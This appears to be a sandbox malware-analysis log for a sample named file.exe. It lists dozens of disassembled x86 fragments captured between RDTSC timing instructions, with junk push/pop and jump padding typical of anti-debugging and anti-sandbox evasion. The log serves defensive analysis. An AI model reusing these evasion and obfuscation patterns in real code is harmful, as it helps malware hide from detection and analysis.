Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533050A second address: 5330558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a call 00007F8388CACA62h 0x0000000f mov ch, F2h 0x00000011 pop ebx 0x00000012 pushfd 0x00000013 jmp 00007F8388CACA5Ch 0x00000018 xor si, E858h 0x0000001d jmp 00007F8388CACA5Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov dword ptr [esp], ebp 0x00000027 pushad 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b mov dx, ax 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 movzx esi, dx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330558 second address: 5330567 instructions: 0x00000000 rdtsc 0x00000002 mov dl, EFh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330567 second address: 533056B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533056B second address: 533056F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533056F second address: 5330575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340290 second address: 5340295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340295 second address: 5340305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8388CACA5Bh 0x00000008 jmp 00007F8388CACA68h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 jmp 00007F8388CACA5Eh 0x00000017 jmp 00007F8388CACA62h 0x0000001c popad 0x0000001d push eax 0x0000001e jmp 00007F8388CACA5Bh 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8388CACA65h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370E4A second address: 5370E59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370E59 second address: 5370EA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8388CACA5Fh 0x00000009 adc ecx, 4B9A46BEh 0x0000000f jmp 00007F8388CACA69h 0x00000014 popfd 0x00000015 jmp 00007F8388CACA60h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370EA6 second address: 5370EAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370EAC second address: 5370F00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 7901h 0x00000007 movzx ecx, di 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f mov edi, eax 0x00000011 pushad 0x00000012 mov ah, 82h 0x00000014 popad 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 mov dl, 61h 0x0000001a call 00007F8388CACA5Eh 0x0000001f pushfd 0x00000020 jmp 00007F8388CACA62h 0x00000025 and cl, FFFFFFA8h 0x00000028 jmp 00007F8388CACA5Bh 0x0000002d popfd 0x0000002e pop eax 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370F00 second address: 5370F04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370F04 second address: 5370F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535043F second address: 535047A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F838920421Dh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 mov ax, AFE3h 0x00000014 mov di, ax 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F8389204222h 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov dl, ah 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535047A second address: 535048F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535048F second address: 5350524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebp+08h] 0x0000000e jmp 00007F838920421Eh 0x00000013 and dword ptr [eax], 00000000h 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F838920421Eh 0x0000001d adc cl, 00000018h 0x00000020 jmp 00007F838920421Bh 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007F8389204228h 0x0000002c or si, 7278h 0x00000031 jmp 00007F838920421Bh 0x00000036 popfd 0x00000037 popad 0x00000038 and dword ptr [eax+04h], 00000000h 0x0000003c jmp 00007F8389204226h 0x00000041 pop ebp 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5350524 second address: 535052B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535001D second address: 535002C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537061D second address: 5370635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370635 second address: 537068B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F8389204226h 0x00000011 push eax 0x00000012 jmp 00007F838920421Bh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 jmp 00007F8389204224h 0x0000001e movzx eax, di 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537068B second address: 537068F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537068F second address: 5370695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370695 second address: 537069B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537069B second address: 537069F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537069F second address: 53706A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53707A6 second address: 537080D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F8389204223h 0x00000015 add ax, D18Eh 0x0000001a jmp 00007F8389204229h 0x0000001f popfd 0x00000020 jmp 00007F8389204220h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537080D second address: 537085E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, 9476h 0x00000012 pushfd 0x00000013 jmp 00007F8388CACA67h 0x00000018 sbb eax, 5D95D4FEh 0x0000001e jmp 00007F8388CACA69h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537085E second address: 537086E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F838920421Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537086E second address: 5370872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370872 second address: 53708A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F8389204228h 0x00000011 pop ecx 0x00000012 call 00007F838920421Bh 0x00000017 pop esi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53708A4 second address: 53708BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA65h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53708BD second address: 53708DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0004h 0x0000000e nop 0x0000000f mov esi, eax 0x00000011 lea eax, dword ptr [ebp-08h] 0x00000014 xor esi, dword ptr [00CE2014h] 0x0000001a push eax 0x0000001b push eax 0x0000001c push eax 0x0000001d lea eax, dword ptr [ebp-10h] 0x00000020 push eax 0x00000021 call 00007F838D8D4A2Dh 0x00000026 push FFFFFFFEh 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53708DF second address: 53708E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53708E3 second address: 53708E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53708E9 second address: 537092A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F8388CACA60h 0x0000000f ret 0x00000010 nop 0x00000011 push eax 0x00000012 call 00007F838D37D2A0h 0x00000017 mov edi, edi 0x00000019 jmp 00007F8388CACA60h 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537092A second address: 537092E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537092E second address: 5370932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370932 second address: 5370938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532000C second address: 5320038 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8388CACA60h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320038 second address: 532003C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532003C second address: 5320042 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320042 second address: 532004A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532004A second address: 5320057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320057 second address: 532005D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532005D second address: 5320062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320062 second address: 53200D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8389204221h 0x00000009 sub eax, 496EEBB6h 0x0000000f jmp 00007F8389204221h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop edx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d mov ax, 829Fh 0x00000021 mov cl, A9h 0x00000023 popad 0x00000024 and esp, FFFFFFF8h 0x00000027 pushad 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F8389204223h 0x0000002f xor ax, 999Eh 0x00000034 jmp 00007F8389204229h 0x00000039 popfd 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53200D8 second address: 5320126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov bx, cx 0x00000008 popad 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F8388CACA65h 0x00000012 pop ecx 0x00000013 pushfd 0x00000014 jmp 00007F8388CACA61h 0x00000019 adc ecx, 7E265136h 0x0000001f jmp 00007F8388CACA61h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320126 second address: 532014D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, E8h 0x00000005 jmp 00007F8389204228h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532014D second address: 5320169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320169 second address: 53201FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F8389204226h 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F8389204220h 0x00000015 push eax 0x00000016 jmp 00007F838920421Bh 0x0000001b xchg eax, ebx 0x0000001c jmp 00007F8389204226h 0x00000021 mov ebx, dword ptr [ebp+10h] 0x00000024 jmp 00007F8389204220h 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F838920421Eh 0x00000031 and ah, 00000038h 0x00000034 jmp 00007F838920421Bh 0x00000039 popfd 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53201FB second address: 5320208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320208 second address: 532020E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532020E second address: 5320237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8388CACA62h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320237 second address: 53202A2 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8389204222h 0x00000008 or ecx, 75388828h 0x0000000e jmp 00007F838920421Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F8389204228h 0x0000001c add ax, 3A88h 0x00000021 jmp 00007F838920421Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov esi, dword ptr [ebp+08h] 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F8389204220h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53202A2 second address: 53202B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53202B1 second address: 53202DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F838920421Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53202DE second address: 53202EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53202EE second address: 53203DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F838920421Eh 0x0000000e xchg eax, edi 0x0000000f jmp 00007F8389204220h 0x00000014 test esi, esi 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F838920421Dh 0x0000001d sub cx, D476h 0x00000022 jmp 00007F8389204221h 0x00000027 popfd 0x00000028 popad 0x00000029 je 00007F83FAE124ECh 0x0000002f jmp 00007F838920421Eh 0x00000034 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F838920421Eh 0x00000042 jmp 00007F8389204225h 0x00000047 popfd 0x00000048 mov bh, ah 0x0000004a popad 0x0000004b je 00007F83FAE124BEh 0x00000051 pushad 0x00000052 pushad 0x00000053 pushfd 0x00000054 jmp 00007F838920421Bh 0x00000059 sbb esi, 10ECEFBEh 0x0000005f jmp 00007F8389204229h 0x00000064 popfd 0x00000065 jmp 00007F8389204220h 0x0000006a popad 0x0000006b popad 0x0000006c mov edx, dword ptr [esi+44h] 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F838920421Ah 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53203DA second address: 53203E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53203E0 second address: 532040E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8389204227h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532040E second address: 5320494 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F8388CACA5Ch 0x00000016 or esi, 31D827D8h 0x0000001c jmp 00007F8388CACA5Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F8388CACA68h 0x00000028 and cl, 00000038h 0x0000002b jmp 00007F8388CACA5Bh 0x00000030 popfd 0x00000031 popad 0x00000032 jne 00007F83FA8BAC64h 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F8388CACA60h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320494 second address: 532049A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532049A second address: 53204AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53107ED second address: 53107F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53107F3 second address: 53107F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53107F7 second address: 53107FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53107FB second address: 531081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8388CACA64h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531081B second address: 531086B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8389204221h 0x00000009 xor cx, BFB6h 0x0000000e jmp 00007F8389204221h 0x00000013 popfd 0x00000014 mov dx, ax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a and esp, FFFFFFF8h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8389204229h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531086B second address: 531087B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531087B second address: 531087F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531087F second address: 53108A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b movzx ecx, di 0x0000000e movsx ebx, ax 0x00000011 popad 0x00000012 mov dx, cx 0x00000015 popad 0x00000016 mov dword ptr [esp], ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8388CACA5Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53108A9 second address: 53108BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53108BA second address: 53108BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53108BE second address: 53108D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204225h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53108D7 second address: 5310933 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, FC72h 0x00000007 pushfd 0x00000008 jmp 00007F8388CACA63h 0x0000000d sbb ax, C26Eh 0x00000012 jmp 00007F8388CACA69h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [esp], esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F8388CACA68h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310933 second address: 5310942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310942 second address: 531095A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA64h 0x00000009 rdtsc
